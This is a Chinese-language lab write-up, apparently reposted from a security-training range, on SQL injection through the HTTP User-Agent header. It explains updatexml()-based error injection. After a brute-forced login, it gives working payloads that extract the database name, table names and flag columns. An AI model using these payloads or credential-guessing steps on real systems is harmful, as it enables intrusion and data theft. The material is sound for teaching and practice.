http header注入
????????該注入是指利用后端驗證客戶端口信息(比如常用的cookie驗證)或者通過http header中獲取客戶端的一些信息(比如useragent用戶代理等其他http header字段信息),因為這些信息是會重新返回拼接到后臺中的,所以再對這些信息進(jìn)行sql處理,又因為后臺沒有進(jìn)過相對應(yīng)的信息處理所以構(gòu)成了sql注入。
總結(jié)就是:?在傳參時,后端為了驗證或者獲取客戶端的一些信息,將這些信息存入到數(shù)據(jù)庫但沒有進(jìn)行相關(guān)的處理,所以存在了header注入
User-Agent:
向服務(wù)器發(fā)送,包含了訪問者系統(tǒng)引擎版本、瀏覽器信息的字段信息。一般服務(wù)器識別出是爬蟲請求,會拒絕訪問。所以此時設(shè)置User-Agent,可以將爬蟲偽裝成用戶通過瀏覽器訪問。
X-Forwarded-For 是一個 HTTP 擴(kuò)展頭部,主要是為了讓 Web 服務(wù)器獲取訪問用戶的真實 IP 地址.
updatexml (XML_document, XPath_string, new_value);?
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱
第二個參數(shù):XPath_string (Xpath格式的字符串)
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
updatexml() 更新xml文檔的函數(shù)
語法:updatexml(目標(biāo)xml內(nèi)容,xml文檔路徑,更新的內(nèi)容)
構(gòu)建語句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
通過爆破我們知道username 和 password 為 admin? 123456
而insert into 在登錄之后才能執(zhí)行,也就是靶場在登錄之后才能執(zhí)行head注入
然而我們發(fā)現(xiàn) 在User-agent后邊拼接字符串他的頁面會報錯,所以知道了在UA這里存在注入
當(dāng)我們發(fā)現(xiàn)將User-agent改為?1','2') -- 1的時候 會繞過過濾,頁面顯示正常
'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- 1
查詢庫名
這里and和or需要都試一下
然后獲取到表名
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1),'2') -- 1
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head'limit 0,1),0x7e),1),'2') -- 1
爆數(shù)據(jù)
文章來源:http://www.zghlxwxcb.cn/news/detail-759175.html
然后就出來了文章來源地址http://www.zghlxwxcb.cn/news/detail-759175.html
到了這里,關(guān)于掌控安全 -- header注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!